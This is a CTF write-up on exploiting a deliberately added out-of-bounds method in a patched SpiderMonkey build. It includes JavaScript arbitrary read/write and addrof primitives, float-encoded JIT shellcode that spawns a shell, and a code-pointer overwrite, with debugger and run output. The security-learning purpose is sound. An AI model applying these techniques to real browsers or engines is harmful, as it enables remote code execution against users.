12 hours before the CTF ended, my friend hit me up telling me about the firefox pwn challenge in corCTF. I have never done Firefox/Spidermonkey pwn before, so this has been an awesome learning opportunity for me. Because I started the challenge when not much time was left, this write-up may not fully and correctly convey all technical details. Please keep that in mind and hit me up if you find anything incorrect, I would be happy to learn and update my post!
Challenge Overview
This is a javascript engine pwn challenge and our target is Firefox’s Spidermonkey. We are not provided with the built binaries but with patch file, build config file and commit log. Firefox does not use the regular git VCS like Chrome or V8 so it was a bit more difficult in the beginning for v8 people like me.
Building Spidermonkey
The official build instruction 1 is pretty good already. Building a specific revision and building the debug version is a bit more work.
1
2
3
4
5
6
7
8
9
10
11
12
sudo apt-get install python3 python3-dev
python3 -m pip install --user mercurial
curl https://hg.mozilla.org/mozilla-central/raw-file/default/python/mozboot/bin/bootstrap.py -O
python3 bootstrap.py
cd mozilla-unified
# Or you can just clone the beta repo where the challenge commit is
# hg clone https://hg.mozilla.org/releases/mozilla-beta/ mozilla-unified
# Checkout the correct revision
hg update -r f4922b9e9a6b
To build with the provided config, we just need to copy mozconfig
over to mozilla-unified
. In my case, I need to build a debug version so here is my config file
1
2
3
4
5
6
# Build only the SpiderMonkey JS test shell
ac_add_options --enable-application=js
ac_add_options --enable-debug
ac_add_options --disable-optimize
ac_add_options --disable-tests
mk_add_options MOZ_OBJDIR=@TOPSRCDIR@/obj-debug-@CONFIG_GUESS@
After that, we just do ./mach build
and wait. If you run into errors saying no nspr >= 4.32
or something like that, you will need to install nspr-4.32
from source. The result binary will be in obj-debug-x86_64-pc-linux-gnu/dist/bin
. To start debugging, just run the js
binary in gdb like we do with d8.
The debug version provide the useful dumpObject
method, which we can use to get the address and basic layout of objects. To get passed some checks when doing OOB on the debug version, I also introduced some small patches.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
diff --git a/js/src/vm/NativeObject.h b/js/src/vm/NativeObject.h
--- a/js/src/vm/NativeObject.h
+++ b/js/src/vm/NativeObject.h
@@ -573,7 +573,7 @@ class NativeObject : public JSObject {
HeapSlotArray getDenseElements() const { return HeapSlotArray(elements_); }
const Value& getDenseElement(uint32_t idx) const {
- MOZ_ASSERT(idx < getDenseInitializedLength());
+ // MOZ_ASSERT(idx < getDenseInitializedLength());
return elements_[idx];
}
bool containsDenseElement(uint32_t idx) {
@@ -1317,7 +1317,7 @@ class NativeObject : public JSObject {
elements_[index].init(this, HeapSlot::Element, unshiftedIndex(index), val);
}
void setDenseElementUnchecked(uint32_t index, const Value& val) {
- MOZ_ASSERT(index < getDenseInitializedLength());
+ // MOZ_ASSERT(index < getDenseInitializedLength());
MOZ_ASSERT(!denseElementsAreFrozen());
checkStoredValue(val);
elements_[index].set(this, HeapSlot::Element, unshiftedIndex(index), val);
Patch Analysis
Looking at the patch, it is quite obvious that this is an OOB r/w bug in Array. The patch introduce the oob
method to Array objects
oob(idx)
will get the element at indexidx
oob(idx, val)
will set the element at indexidx
toval
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
+bool js::array_oob(JSContext* cx, unsigned argc, Value* vp) {
+ CallArgs args = CallArgsFromVp(argc, vp);
+ RootedObject obj(cx, ToObject(cx, args.thisv()));
+ double index;
+ if (args.length() == 1) {
+ if (!ToInteger(cx, args[0], &index)) {
+ return false;
+ }
+ GetTotallySafeArrayElement(cx, obj, index, args.rval());
+ } else if (args.length() == 2) {
+ if (!ToInteger(cx, args[0], &index)) {
+ return false;
+ }
+ NativeObject* nobj =
+ obj->is<NativeObject>() ? &obj->as<NativeObject>() : nullptr;
+ if (nobj) {
+ nobj->setDenseElement(index, args[1]);
+ } else {
+ puts("Not dense");
+ }
+ GetTotallySafeArrayElement(cx, obj, index, args.rval());
+ } else {
+ return false;
+ }
+ return true;
+}
Exploit Strategy
OOB r/w is already given to us, but how do we eventually get code execution? There are several things that we need to study:
- What does the OOB r/w give us? In particular:
- What useful information can we read past the Array boundaries? In this case, we can look for heap pointers and code pointers, especially something like ArrayBuffer’s data pointer because that will give more powerful r/w pritimitives.
- Where and what will we write OOB, and to achieve what purpose? To get arbitrary read/write, we can overwrite the data pointer of ArrayBuffer or Array, but we need to locate its OOB offset as well.
- How do we get addrof and/or fakeobj?
- In v8, we can confuse an Array of double and put an object in the confused Array to get its address. Can this be applicable to SM too?
- We can use arbitrary read to read from wherever the address of our object is stored.
- How do we get code execution? And how is it different from v8?
- Is JIT/WASM rwx page present? (Spoiler alert! It’s gone for a while)
- Can we hijack control flow by overwriting code address of native functions?
Most of these questions will be answered throughout the write-up.
Initial OOB
Let’s inspect the layout of an Array in memory to see what’s interesting. The dumpObject
function can be used to get the address and layout of object. We can see right away that there is a pointer to the element array at offset 0x10
. So if we can corrupt this, we may be able to achieve arbitrary r/w.
1
2
3
4
5
6
7
8
9
pwndbg> tele 0x19ed076006a0
00:0000│ 0x19ed076006a0 —▸ 0x244aead9b220 —▸ 0x244aead74208 —▸ 0x555558f2c680 (js::ArrayObject::class_) —▸ 0x555557928831 ◂— ...
01:0008│ 0x19ed076006a8 —▸ 0x555557872f38 (emptyObjectSlotsHeaders+8) ◂— 0x100000000
02:0010│ 0x19ed076006b0 —▸ 0x19ed076006c8 ◂— 0x3ff199999999999a
03:0018│ 0x19ed076006b8 ◂— 0x400000000
04:0020│ 0x19ed076006c0 ◂— 0x400000006
05:0028│ 0x19ed076006c8 ◂— 0x3ff199999999999a
06:0030│ 0x19ed076006d0 ◂— 0x3ff3333333333333
07:0038│ 0x19ed076006d8 ◂— 0x3ff4cccccccccccd
Another interesting object is ArrayBuffer and TypedArray. This is an Uint8Array of length 8 with its data pointer at offst 0x30
. Fortunately, we can see that our OOB Array and this TypedArray is really close to each other, which is a perfect layout to corrupt this TypedArray data pointer to get arbitrary r/w.
1
2
3
4
5
6
7
8
9
pwndbg> tele 0x19ed076007a8
00:0000│ 0x19ed076007a8 —▸ 0x244aead9bc00 —▸ 0x244aead74280 —▸ 0x555558f40280 (js::TypedArrayObject::classes+48) —▸ 0x5555578a441a ◂— ...
01:0008│ 0x19ed076007b0 —▸ 0x555557872f38 (emptyObjectSlotsHeaders+8) ◂— 0x100000000
02:0010│ 0x19ed076007b8 —▸ 0x555557870008 (emptyElementsHeader+16) ◂— 0xfff9800000000000
03:0018│ 0x19ed076007c0 ◂— 0xfffa000000000000
04:0020│ 0x19ed076007c8 ◂— 0x8
05:0028│ 0x19ed076007d0 ◂— 0x0
06:0030│ 0x19ed076007d8 —▸ 0x19ed076007e0 ◂— 0x4343434343434343 ('CCCCCCCC')
07:0038│ 0x19ed076007e0 ◂— 0x4343434343434343 ('CCCCCCCC')
Arbitrary Read/Write
With the information we get from the initial OOB r/w, we have 2 ways to get arbitrary r/w now:
- Corrupt the data pointer of an Array after out OOB Array. I tried this initially and ran into some complications with how SM interprets the data. Basically, it is not easy to just point this data pointer to anywhere and read it as a double value (probably due to how SM values are represented, double values and pointers are differentiated, and the array will still interpret the pointer as an object, not a double value.) It was hard to get addrof primitive this way later on, so I switched to the 2nd method below.
- Corrupt the data pointer of a TypedArray after out OOB Array. This is the more hassle-free way to read and write data, although we have a relatively small buffer, but 8 bytes is enough, and it is all raw bytes.
We have the following arb r/w primitives:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
arb_offset = 13;
x = new Array(1.1, 1.2, 1.3, 1.4);
victim_ta = new Uint8Array(8);
function arb_read(addr) {
x.oob(arb_offset, addr.toDouble())
// Not sure why I need this, maybe not.
x.oob(arb_offset - 3, (0xfffa000000000000n).toDouble())
read_ta = new BigUint64Array(victim_ta.buffer);
return read_ta[0];
}
function arb_write(addr, val) {
x.oob(arb_offset, addr.toDouble())
for (var i = 0; i < 8; i++) {
victim_ta[i] = Number((val >> BigInt(i * 8) & 0xffn))
}
}
(Weak) Addrof
Reading several resources 2 3, I figured out that setting a property of an object to a target object will allow us to leak the address of that target object. In this case, I was trying to leak address of the JIT-ed function. We can see a pointer to this victim_obj in the memory of victim_ta
now.
1
2
victim_obj = sc;
victim_ta.what = victim_obj;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> tele 0x19ed076007a8
00:0000│ 0x19ed076007a8 —▸ 0x244aeada1180 —▸ 0x244aead74280 —▸ 0x555558f40280 (js::TypedArrayObject::classes+48) —▸ 0x5555578a441a ◂— ...
01:0008│ 0x19ed076007b0 —▸ 0x19ed07600ad8 ◂— 0xfffe19ed076008c8
02:0010│ 0x19ed076007b8 —▸ 0x555557870008 (emptyElementsHeader+16) ◂— 0xfff9800000000000
03:0018│ 0x19ed076007c0 ◂— 0xfffa000000000000
04:0020│ 0x19ed076007c8 ◂— 0x8
05:0028│ 0x19ed076007d0 ◂— 0x0
06:0030│ 0x19ed076007d8 —▸ 0x19ed076007e0 ◂— 0x4343434343434343 ('CCCCCCCC')
07:0038│ 0x19ed076007e0 ◂— 0x4343434343434343 ('CCCCCCCC')
pwndbg> c
Continuing.
js> dumpObject(sc)
object 19ed076008c8
global 244aead76090 [global]
class 555558f3b1e0 Function
shape 244aead75160
flags:
proto <function at 244aead7b040>
properties:
js>
We see that there is a pointer to the object at offset 0x8
. The object address is represented differently with the 0xfffe
tag, but we can certainly leak this address using the OOB and arbitrary read/write.
1
2
3
4
5
6
7
8
leak_offset = 8
// Leak the pointer containing `what` property object address
leak = x.oob(leak_offset)
// Read the object address
x.oob(arb_offset, leak)
read_ta = new BigUint64Array(victim_ta.buffer);
jitfunc_addr = read_ta[0] & 0xffff_ffffffffn;
It is worth noting that I could only leak the address of object once, and leaking any object again may require building another array and victim layout. For my exploit, this is enough.
Code Execution
This is probably the most interesting part. In v8, we are basically done if we can figure out the address of a rwx WASM page, but in SM, it is not so easy. There is no rwx WASM or JIT page.
The resources suggest that there is a way that way can smuggle executable code into JIT-ed functions, and point the JIT-ed code to the desired code address. We do this by JIT-ing a function with just constant values where they are actually shellcode. Because the code is marked executable, these bytes will be read-executable. The only disadvantage is that we need to hardcode all of these values, so no dynamic shellcode at this stage (e.g. we cannot write shellcode based on some info leak before that). But this is already good enough.
There are 2 tasks left:
- Search the memory for the address of our smuggled shellcode.
- Figure out the code pointer of a victim JIT-ed function and overwrite this pointer.
In the shellcode function, we put a marker value so we can search for it in memory by scanning:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
function sc() {
sc_marker = 5.40900888e-315; // 0x41414141 in memory - Used as a way to find
SC1 = 6.828527034422786e-229;
SC2 = 7.340387646374746e+223
SC3 = -5.6323145813786076e+190
SC4 = 7.748604185565308e-304
SC5 = 7.591064455398236e+175
SC6 = 1.773290436458278e-288
SC7 = 7.748604204935092e-304
SC8 = 2.1152000545026834e+156
SC9 = 2.7173154612872197e-71
SC10 = 1.2811179539027648e+145
SC11 = 4.0947747766066967e+40
SC12 = 1.7766685363804036e-302
SC13 = 3.6509617888350745e+206
SC14 = -6.828523606646638e-229
}
for(i = 0; i < 0x1000; i++) {
sc();
}
rce_offset = jitfunc_addr + 0x28n;
jit_addr = arb_read(rce_offset);
code_addr = arb_read(jit_addr);
sc_start = -1
for (var i = 0; i < 1000; i++) {
sc_start = code_addr + BigInt(8 * i);
check = arb_read(sc_start)
if (check == 0x41414141n) {
break;
}
}
// The start of the real shellcode
sc_start += 0x8n;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pwndbg> search --qword -e 0x41414141
0x6bb81133a99 add byte ptr [r8], al /* 'AAAA' */
0x6bb811345d8 add byte ptr [r8], al /* 'AAAA' */
pwndbg> x/20gx 0x6bb811345d8
0x6bb811345d8: 0x0000000041414141 0x6e69622fb848686a
0x6bb811345e8: 0xe78948507361622f 0x010101010101b848
0x6bb811345f8: 0x64732eb848500101 0x0431480173646560
0x6bb81134608: 0x0101010101b84824 0x6063b84850010101
0x6bb81134618: 0x314801622c016972 0x5e106a56f6312404
0x6bb81134628: 0x485e156a56e60148 0x01485e186a56e601
0x6bb81134638: 0x6ad231e6894856e6 0x90909090050f583b
0x6bb81134648: 0x00000094361e0b0f 0x0000000000000000
0x6bb81134658: 0x00002759701a0240 0x49d98b4c01084783
0x6bb81134668: 0xfffcfb81412febc1 0x000000f6850f0001
pwndbg> x/20i 0x6bb811345d8+8
0x6bb811345e0: push 0x68
0x6bb811345e2: movabs rax,0x7361622f6e69622f
0x6bb811345ec: push rax
0x6bb811345ed: mov rdi,rsp
0x6bb811345f0: movabs rax,0x101010101010101
0x6bb811345fa: push rax
0x6bb811345fb: movabs rax,0x17364656064732e
The only thing left is to overwrite the code pointer of a JIT-ed function and call it. I just choose the sc
function itself for simplicity
1
2
3
4
arb_write(jit_addr, sc_start);
// Trigger real shellcode
sc();
1
2
3
4
5
6
7
8
➜ cor ./js exp-cleaned.js
[+] leak = 0x000017a847400a80
[+] jitfunc_addr = 0x000017a847400740
[+] jit_addr = 0x000013c905f981a0
[+] code_addr = 0x000012a59c9190d0
found shellcode
[+] sc_start = 0x000012a59c9195a0
bash: /reader: No such file or directory
To get the flag on the server, I wrote a solve script where you can find in the full solution below.
Conclusion
This is definitely an awesome learning opportunity for me, stepping out of the v8 comfort zone to learn something new. Because the time was tight, I did not focus on fully understand the details so some are missing, like how objects and values are represented. You can check out the resource reading for more in-depth information. I will definitely learn more thoroughly about Spidermonkey after doing this challenge.
Full solution can be found here 4
Footnotes
https://firefox-source-docs.mozilla.org/setup/linux_build.html ↩
https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/#jsvalues-and-jsobjects ↩
https://webcache.googleusercontent.com/search?q=cache:ySfo3rNPA2kJ:https://labs.f-secure.com/blog/exploiting-cve-2019-17026-a-firefox-jit-bug/ ↩
https://github.com/ducphanduyagentp/browser-pwn-advent-calendar/tree/main/06 ↩